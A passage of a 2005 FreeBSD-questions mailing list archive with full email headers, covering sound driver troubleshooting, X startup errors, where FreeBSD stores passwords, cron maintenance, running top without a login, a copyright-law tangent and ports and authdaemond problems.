0xd800-0xd83f, 0xdc00-0xdcff irq 11 at device 2.7 on >pci 0 >pcm0: [GIANT_LOCKED] >pcm0: > >and setup the number of virtual channels to 4 as you suggest but using the >control : >sysctl hw.snd.maxautovchans=4 >-> >hw.snd.maxautovchans: 0 -> 4 > >After these things here is the "/dev/sndstat" : > >FreeBSD Audio Driver (newpcm) >Installed devices: >pcm0: at io 0xdc00, 0xd800 irq 11 bufsz 16384 kld snd_ich >(1p/1r/1v channels duplex default) > >"dmesg" gives same infos. > >After this a sound is emitted when KDE launches but after about 1 second, the >sound system seems to hang. > >Here are the info that I can collect on my debian Linux system that runs in >the same computer, driving the SiS 7102 correctly : > >D800-D8FF SiS7102 PCI Audio Accelerator >DC00-DCFF SiS7102 PCI Audio Accelerator >XT-PIC SiS7102 on interrupt 11 >PCI 00:02.7 Multimedia audio controller SiS7102 PCI Audio Accelerator (rev a0) >Subsystem: C-media Electronics Inc : unknown device 0300 >Flags : bus master, medium devsel. latency 64, IRQ 11 >I/O ports at DC00 [size=256] >I/O ports at D800 [size=64] >Capabilities [48] Power Management version 2 > >FreeBSD 5.3 and debian Woody say very similar things about the SiS 7102 >chipset... > >Otherwise... >I checked the BIOS setup : PnP_OS=no, all right for this. >(But I do not know how I could change SiS7102 interrupt) > > Thats ok, it's just one of those things that nice to play with when hardware isn't working correctly. >I installed splay and cplay and edited a ".cplayrc" file with a >FrameOffsetPlayer "splay") >But no sound even in pure console mode, outside X. > > You edited .cplayrc? what do you mean by this? you should not have to edit the .cplayrc file, plus it's not required that you even have one. I recommend you just delete the .cplayrc and and try playing music again without it. >Thank you again for your interesting explanations. > >Regards. > >Fabrice. > > I'm going to cc this to the freebsd questions list, maybe they can help you more then I could. Regards... From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 00:55:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A673216A4CE for ; Sun, 6 Feb 2005 00:55:17 +0000 (GMT) Received: from web53404.mail.yahoo.com (web53404.mail.yahoo.com [206.190.37.51]) by mx1.FreeBSD.org (Postfix) with SMTP id 1937C43D1F for ; Sun, 6 Feb 2005 00:55:17 +0000 (GMT) (envelope-from wildjeep01@yahoo.com) Received: (qmail 76248 invoked by uid 60001); 6 Feb 2005 00:55:16 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=jBjVVEXgQWbZIfRbvG9qiiJyM2Xny6DxH+vjCCHkQPCChZb1bcwXK8G6f1PtWTABDIjCHok8H8IbkIFPqxPUKMrpxPWcJk+xSYSZ0/67Kof2s+jrbcjAttAXoNdKdup2si7X+Axi75GWcGzFmTHExdAKjzRLqGS5rh9zn4osLU0= ; Message-ID: <20050206005516.76246.qmail@web53404.mail.yahoo.com> Received: from [216.36.108.142] by web53404.mail.yahoo.com via HTTP; Sat, 05 Feb 2005 16:55:16 PST Date: Sat, 5 Feb 2005 16:55:16 -0800 (PST) From: "Mr. Ralph" To: FreeBSD Questions MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: Installing on an IBM 600X - anyone tried it? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 00:55:17 -0000 Hi folks, I installed FreeBSD 5.3 on an IBM 600X, and tried to get X started. I get this error I can't really understand. I'm going to type it below so maybe someone can point me in the right direction? Thanks in advance everyone. --Ralph xauth: creating new authority file /home/ralph/.Xauthority xauth: (argv):1: bad display name ":0" in "remove" command xauth: (argv):1: bad display name ":0" in "remove" command and then X exits - what does this mean?? ONLY in a Jeep. __________ | | |______(*)_| Life is an adventure /\__----__/\ drive prepared for /_/()||||()\_\ *anything* |_\ o||||o /_| |----JeeP----| |_| |_| From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 01:00:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9544F16A4CE for ; Sun, 6 Feb 2005 01:00:20 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.207]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1F2A243D39 for ; Sun, 6 Feb 2005 01:00:20 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so589497wri for ; Sat, 05 Feb 2005 17:00:19 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=S0OQRDOQ9xGwpSkyGxc/LzN+ufFHUiXdGl+xPGtcDUbwupzF/Zxh8tL5+3y21x8vK2i0puYTd8T2kfEIvmihrFOtyhv7xZW+fwjApthwDLMrw0HcSeDbNktf9StYKA/87qP4+MaWmI8JMOyTVM4gvQsly0MjefvngMnMj4rLw7w= Received: by 10.54.44.70 with SMTP id r70mr231832wrr; Sat, 05 Feb 2005 17:00:19 -0800 (PST) Received: by 10.54.42.28 with HTTP; Sat, 5 Feb 2005 17:00:19 -0800 (PST) Message-ID: <810a540e05020517004715999b@mail.gmail.com> Date: Sat, 5 Feb 2005 18:00:19 -0700 From: Pat Maddox To: Gert Cuykens In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: cc: freebsd-questions@freebsd.org Subject: Re: Where do all the passwd get saved ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 01:00:20 -0000 /etc/passwd is a system file that just lists accounts. Having the passwords in there is insecure because it has to be readable by everyone. In linux systems, the actual passwords are in /etc/shadow. I don't know exactly how FreeBSD handles passwords. I don't even think it uses /etc/passwd (only there for compatibility with some linux software?), and instead keeps everything in a hashed database file. My guess is that all the passwords are in spwd.db. But I don't know that for sure :) Hopefully somebody else can clarify this. On Sun, 6 Feb 2005 01:45:09 +0100, Gert Cuykens wrote: > I thought it was /etc/passwd but that seemed not to be where i was > looking for :) > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 01:11:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7AD5D16A4CE for ; Sun, 6 Feb 2005 01:11:27 +0000 (GMT) Received: from av9-2-sn4.m-sp.skanova.net (av9-2-sn4.m-sp.skanova.net [81.228.10.107]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6685743D2F for ; Sun, 6 Feb 2005 01:11:26 +0000 (GMT) (envelope-from ertr1013@student.uu.se) Received: by av9-2-sn4.m-sp.skanova.net (Postfix, from userid 502) id 4585837E59; Sun, 6 Feb 2005 02:11:25 +0100 (CET) Received: from smtp4-2-sn4.m-sp.skanova.net (smtp4-2-sn4.m-sp.skanova.net [81.228.10.180]) by av9-2-sn4.m-sp.skanova.net (Postfix) with ESMTP id 30B6037E43 for ; Sun, 6 Feb 2005 02:11:25 +0100 (CET) Received: from falcon.midgard.homeip.net (h201n1fls24o1048.bredband.comhem.se [212.181.162.201]) by smtp4-2-sn4.m-sp.skanova.net (Postfix) with SMTP id ED1C337E45 for ; Sun, 6 Feb 2005 02:11:24 +0100 (CET) Received: (qmail 61899 invoked by uid 1001); 6 Feb 2005 01:11:24 -0000 Date: Sun, 6 Feb 2005 02:11:24 +0100 From: Erik Trulsson To: Pat Maddox Message-ID: <20050206011123.GA57234@falcon.midgard.homeip.net> Mail-Followup-To: Pat Maddox , Gert Cuykens , freebsd-questions@freebsd.org References: <810a540e05020517004715999b@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <810a540e05020517004715999b@mail.gmail.com> User-Agent: Mutt/1.5.6i cc: Gert Cuykens cc: freebsd-questions@freebsd.org Subject: Re: Where do all the passwd get saved ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 01:11:27 -0000 On Sat, Feb 05, 2005 at 06:00:19PM -0700, Pat Maddox wrote: > /etc/passwd is a system file that just lists accounts. Having the > passwords in there is insecure because it has to be readable by > everyone. In linux systems, the actual passwords are in /etc/shadow. > > I don't know exactly how FreeBSD handles passwords. I don't even > think it uses /etc/passwd (only there for compatibility with some > linux software?), and instead keeps everything in a hashed database > file. My guess is that all the passwords are in spwd.db. > > But I don't know that for sure :) Hopefully somebody else can clarify this. > > > > > On Sun, 6 Feb 2005 01:45:09 +0100, Gert Cuykens wrote: > > I thought it was /etc/passwd but that seemed not to be where i was > > looking for :) RTFM, the passwd(5), passwd(1), pwd_mkdb(8) and vipw(8) manpages in particular. -- Erik Trulsson ertr1013@student.uu.se From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 01:30:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AFCA416A4CE for ; Sun, 6 Feb 2005 01:30:06 +0000 (GMT) Received: from blackwater.lemis.com (wantadilla.lemis.com [192.109.197.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id ECBF843D31 for ; Sun, 6 Feb 2005 01:30:04 +0000 (GMT) (envelope-from grog@lemis.com) Received: by blackwater.lemis.com (Postfix, from userid 1004) id 17D2585655; Sun, 6 Feb 2005 12:00:01 +1030 (CST) Date: Sun, 6 Feb 2005 12:00:01 +1030 From: Greg 'groggy' Lehey To: Peterhin Message-ID: <20050206013000.GB49637@wantadilla.lemis.com> References: <200502051745.25937.hindrich@worldchat.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="i9LlY+UWpKt15+FH" Content-Disposition: inline In-Reply-To: <200502051745.25937.hindrich@worldchat.com> User-Agent: Mutt/1.4.2.1i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 9A1B 8202 BCCE B846 F92F 09AC 22E6 F290 507A 4223 cc: freebsd-questions@freebsd.org Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 01:30:06 -0000 --i9LlY+UWpKt15+FH Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Saturday, 5 February 2005 at 17:45:25 -0500, Peterhin wrote: > > Is it better to leave a computer (a stand alone) running continuously or > is it OK to shut it down at the end of the day.? > I remember years ago someone mentioned that it is better for the > circuitry to leave it running. > Any thoughts would be greatly appreciated I won't jump in on the bikeshed about the effects on the electronics. A thing that nobody has mentioned so far is that by default, the system performs a number of functions (via cron) in the middle of the night. If you turn it off, you should check /etc/crontab and decide when to perform the nightly maintenance. Greg -- When replying to this message, please copy the original recipients. If you don't, I may ignore the reply or reply to the original recipients. For more information, see http://www.lemis.com/questions.html See complete headers for address and phone numbers. --i9LlY+UWpKt15+FH Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (FreeBSD) iD8DBQFCBXMYIubykFB6QiMRAnC9AJ9M68tWp5OpN9IwyB/tJtHF/TVjRgCfc6nQ wGo4x8qKZ7/nU0LeReBI63w= =LvDq -----END PGP SIGNATURE----- --i9LlY+UWpKt15+FH-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 01:49:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B0C7B16A4CE for ; Sun, 6 Feb 2005 01:49:00 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4C7B743D54 for ; Sun, 6 Feb 2005 01:49:00 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1101.wanadoo.fr (SMTP Server) with ESMTP id 7A1241C0008B for ; Sun, 6 Feb 2005 02:48:59 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1101.wanadoo.fr (SMTP Server) with ESMTP id 58A3A1C00089 for ; Sun, 6 Feb 2005 02:48:59 +0100 (CET) X-ME-UUID: 20050206014859363.58A3A1C00089@mwinf1101.wanadoo.fr Date: Sun, 6 Feb 2005 02:48:59 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <77133904.20050206024859@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050205172451.A49675@starfire.mn.org> References: <51563600.20050205125343@wanadoo.fr> <20050205100125.C47038@starfire.mn.org> <971531375.20050206000007@wanadoo.fr> <20050205172451.A49675@starfire.mn.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Running top without a shell -- more questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 01:49:00 -0000 John writes: J> No, there are HUGE security concerns. The big problem is that J> many things have shell escapes. Top, as far as I know, does not. But it's shell escapes that generally create the security concerns, no? Except for things like buffer overflows, but of course all FreeBSD software was written by seasoned programmers who know much better than to not check for buffer overflows. J> No, no! I am not suggesting changing the standard software! I'm J> not saying to change getty or login, just the usual configuration J> file that controls where the system runs gettys (or xdm, or what J> have you). This is no more changing "standard software" than J> making entries in rc.conf. Hmm ... okay. But I try to avoid changing stuff like that, too. It always seems to get lost in the shuffle if I have to update the OS. J> Look - if this makes you more comfortable - just turn off logins J> ENTIRELY on one ttyv. Then use the program I wrote to just run J> top on the ttyv on which logins are no-longer allowed. You could J> start it with cron or /etc/rc.d something instead of /etc/ttys. J> It doesn't matter how it gets started - the point is, NO LOGIN AT J> ALL is allowed on that terminal - how is that a security risk? J> J> You don't have to log in as top or root or anything - no logins - J> top just runs as the user YOU specify.... Okay, I'll consider it. Thanks. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 01:56:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7B52016A4CE for ; Sun, 6 Feb 2005 01:56:06 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id EAFDB43D1F for ; Sun, 6 Feb 2005 01:56:05 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0909.wanadoo.fr (SMTP Server) with ESMTP id A11CB2400108 for ; Sun, 6 Feb 2005 02:56:04 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0909.wanadoo.fr (SMTP Server) with ESMTP id 72DB72400107 for ; Sun, 6 Feb 2005 02:56:04 +0100 (CET) X-ME-UUID: 20050206015604470.72DB72400107@mwinf0909.wanadoo.fr Date: Sun, 6 Feb 2005 02:56:03 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1258430214.20050206025603@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <16901.23792.668233.856876@szamoca.krvarr.bc.ca> References: <4203F451.9070307@cis.strath.ac.uk> <200502050030.39812.m.hauber@mchsi.com> <452211071.20050205114332@wanadoo.fr> <16901.23792.668233.856876@szamoca.krvarr.bc.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 01:56:06 -0000 Sandy Rutherford writes: SR> This is not so clear. In a March 2004 decision regarding P-to-P music SR> sharing, Justice von Finckenstein of the Federal Court of Canada ruled SR> that: SR> SR> The mere fact of placing a copy on a shared directory in a computer SR> where that copy can be accessed via a P2P service does not amount to SR> distribution. Before it constitutes distribution, there must be a SR> positive act by the owner of the shared directory, such as sending out SR> the copies or advertising that they are available for copying. Or allowing a Web site to be indexed by a search engine. I'll grant that a site that is public but not linked to or indexed by anyone could be assimilated with a non-public venue. SR> A parallel here would be that placing copyright material on a public SR> website would not amount to distribution and therefore, not be a SR> copyright infringement. Of course, it could be argued that if Google SR> started linking to it, that would constitute advertisement. Absolutely. SR> However, it is hard to see that as the prerequisite "positive act" SR> on the part of the web site owner. It is more a positive act on SR> Google's part. Google doesn't find out about sites through magic. Webmasters must request that their sites be indexed. And in practical terms, nobody sets up archives of forums and then keeps them out of the search engines and unlinked to by any other site. There are very few useful purposes for Web sites that nobody links to. I use them to provide photo albums to clients in a semi-private way, though: there is no password protection so the client doesn't get confused trying to access the album, but since the URL is not known to any other site and is not indexed or pointed to by anyone, it's still fairly confidential (someone would have to guess the URL to reach the album). SR> In his ruling, Finckenstein pointed out that there is a parallel with SR> public libraries. A public library does not infringe on copyright, SR> simply by having books available for loan. That's not really a parallel. Libraries loan books and in so doing move content from one place to another; they do not _copy_ content. Infringement involves illegal reproduction in the vast majority of cases (on rare occasions it can involve unlicensed use, such as in the case of unlicensed performances of theatrical works). SR> Interestingly enough, Finckenstein also ruled that the act of SR> downloading copyright material from a P-to-P server also does not SR> infringe copyright. As far as I know, unlimited P-to-P sharing of SR> copyright material is still fully legal in Canada. I'm not sure that Finckenstein fully understood the issue, then. SR> Please don't ask me to defend Finckenstein's ruling. There are SR> aspects of it with which I both agree and disagree. My point is SR> simply that there are a lot of grand statements being made in this SR> thread, when in fact many of the issues are quite subtle. Then it is best to err on the side of prudence. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 01:58:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EF09716A4CE for ; Sun, 6 Feb 2005 01:58:12 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id AB76F43D49 for ; Sun, 6 Feb 2005 01:58:12 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf0901.wanadoo.fr (SMTP Server) with ESMTP id E4D742001429 for ; Sun, 6 Feb 2005 02:58:11 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0901.wanadoo.fr (SMTP Server) with ESMTP id CC0562001423 for ; Sun, 6 Feb 2005 02:58:11 +0100 (CET) X-ME-UUID: 20050206015811835.CC0562001423@mwinf0901.wanadoo.fr Date: Sun, 6 Feb 2005 02:58:11 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1153713788.20050206025811@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <1107650090.5213.9.camel@p4> References: <4203F451.9070307@cis.strath.ac.uk> <200502042343.39455.m.hauber@mchsi.com> <1485510257.20050205055221@wanadoo.fr> <1107650090.5213.9.camel@p4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 01:58:13 -0000 Robert Marella writes: RM> Am I the only one longing for a freebsd-legal mail list that I will not RM> subscribe to? Unfortunately, ignoring legal issues won't necessarily exempt you from being affected by them, especially if you operate any kind of public server (and the definition of that can be fairly broad, as file swappers have found). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 01:59:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 83FAA16A4CE for ; Sun, 6 Feb 2005 01:59:05 +0000 (GMT) Received: from mail26.sea5.speakeasy.net (mail26.sea5.speakeasy.net [69.17.117.28]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4E85943D1D for ; Sun, 6 Feb 2005 01:59:03 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 1622 invoked from network); 6 Feb 2005 01:59:03 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail26.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 6 Feb 2005 01:59:02 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id B6F4784; Sat, 5 Feb 2005 20:59:00 -0500 (EST) Sender: lowell@be-well.ilk.org To: Vonleigh Simmons References: <1DF8995C-7694-11D9-8017-000D93C7878E@illusionart.com> <448y64mt43.fsf@be-well.ilk.org> <7FCCEF82-77D0-11D9-8017-000D93C7878E@illusionart.com> From: Lowell Gilbert Date: 05 Feb 2005 20:59:00 -0500 In-Reply-To: <7FCCEF82-77D0-11D9-8017-000D93C7878E@illusionart.com> Message-ID: <44oeeye9ej.fsf@be-well.ilk.org> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-questions@freebsd.org Subject: Re: portsdb -uU fails X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 01:59:05 -0000 Vonleigh Simmons writes: > > Figure out why "/usr/ports/multimedia/libtheora" is non-existent, and > > fix it. > > > > As another part of the message warned you, building an INDEX requires > > a *full* ports collection, so if you are missing some it will fail. > > I don't have that folder. I'm not sure why I don't, I haven't > changed everything, and have it so that it does cvsup daily, one day > it just started failing. > > What can I do to force it to resync properly? Have you got a refuse file? Don't. Are you doing the cvsup on the ports-all collection, with a cvs tag of '.'? If not, do. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 01:59:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7E81916A4CE for ; Sun, 6 Feb 2005 01:59:15 +0000 (GMT) Received: from spatula.dreamhost.com (spatula.dreamhost.com [66.33.205.9]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4C9C443D41 for ; Sun, 6 Feb 2005 01:59:15 +0000 (GMT) (envelope-from lists@tntluoma.com) Received: from [192.168.1.2] (adsl-68-252-33-33.dsl.wotnoh.ameritech.net [68.252.33.33]) by spatula.dreamhost.com (Postfix) with ESMTP id 4886317D01E for ; Sat, 5 Feb 2005 17:59:14 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Message-Id: <0dd8dad21bafaf8c6b6831d0845e28b5@tntluoma.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: FreeBSD Mailing List From: Timothy Luoma Date: Sat, 5 Feb 2005 20:59:11 -0500 X-Mailer: Apple Mail (2.619.2) Subject: The Free Lunch Is Over: A Fundamental Turn Toward Concurrency in Software X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 01:59:15 -0000 I stumbled across this somehow today (don't remember where from unfortunately... I opened it in the background while reading another page and by the time I saw it, I forgot where it came from). http://www.gotw.ca/publications/concurrency-ddj.htm He does a good job (I think) of explaining the problems of why hyperthreading, et al don't help as much as you might think they should (or as much as I think they should). FWIW TjL From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 02:25:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AD0F916A4CE for ; Sun, 6 Feb 2005 02:25:44 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.205]) by mx1.FreeBSD.org (Postfix) with ESMTP id A3C8543D46 for ; Sun, 6 Feb 2005 02:25:40 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so593492wri for ; Sat, 05 Feb 2005 18:25:40 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=KtjmUz9koEpP2E0bFKl0HRYtUlprPF/b9UxeUvBuB0TKiryoocaVzFJprfr34YU4PKXu3I6LAbj6TAEbgDQhrmaaPihq5vTdtBgSQURzf0aSkGgrmQsI8PL6TH/QaDEWUKvZ9vNyxWEF1Fph/ZZkWdLBSd7cJu016w3vz6Zgkl4= Received: by 10.54.47.25 with SMTP id u25mr83991wru; Sat, 05 Feb 2005 18:24:43 -0800 (PST) Received: by 10.54.42.28 with HTTP; Sat, 5 Feb 2005 18:24:43 -0800 (PST) Message-ID: <810a540e05020518246009d327@mail.gmail.com> Date: Sat, 5 Feb 2005 19:24:43 -0700 From: Pat Maddox To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Enabling authdaemond creates 5 processes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 02:25:44 -0000 I installed courier-imap and got everything running fine...found out that I need to enable authdaemond on startup. If I put courier_authdaemond_enable="YES" into /etc/rc.conf, then there are five or so authdaemond processes running when it starts up. I don't think that should be happening, and I've got no clue why it is. Any help? Pat From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 02:30:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9395116A4CE for ; Sun, 6 Feb 2005 02:30:35 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.206]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9BC8443D1D for ; Sun, 6 Feb 2005 02:30:31 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so593711wri for ; Sat, 05 Feb 2005 18:30:31 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=DAo/6YQoW361KEXMAtFTdcBlPVyxCWNP2DvX18txMD+voC8oYEPZYdDiF6FfWvnCNYMuRVCQEZn+RYtLIcIZQVaKSgOthcbifm7AVbKXK2lLEXMUbzt1SHSqxMsm1Mo4aX0Efg1O1VdsRbjcvaZeXH2rMbegbfgrxb3x0jUzcVE= Received: by 10.54.44.70 with SMTP id r70mr260837wrr; Sat, 05 Feb 2005 18:30:31 -0800 (PST) Received: by 10.54.42.28 with HTTP; Sat, 5 Feb 2005 18:30:30 -0800 (PST) Message-ID: <810a540e05020518303bdafa34@mail.gmail.com> Date: Sat, 5 Feb 2005 19:30:30 -0700 From: Pat Maddox To: freebsd-questions@freebsd.org In-Reply-To: <810a540e05020518246009d327@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <810a540e05020518246009d327@mail.gmail.com> Subject: Re: Enabling authdaemond creates 5 processes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 02:30:35 -0000 I just started up authdaemond manually, and it has 6 processes going. PIDs 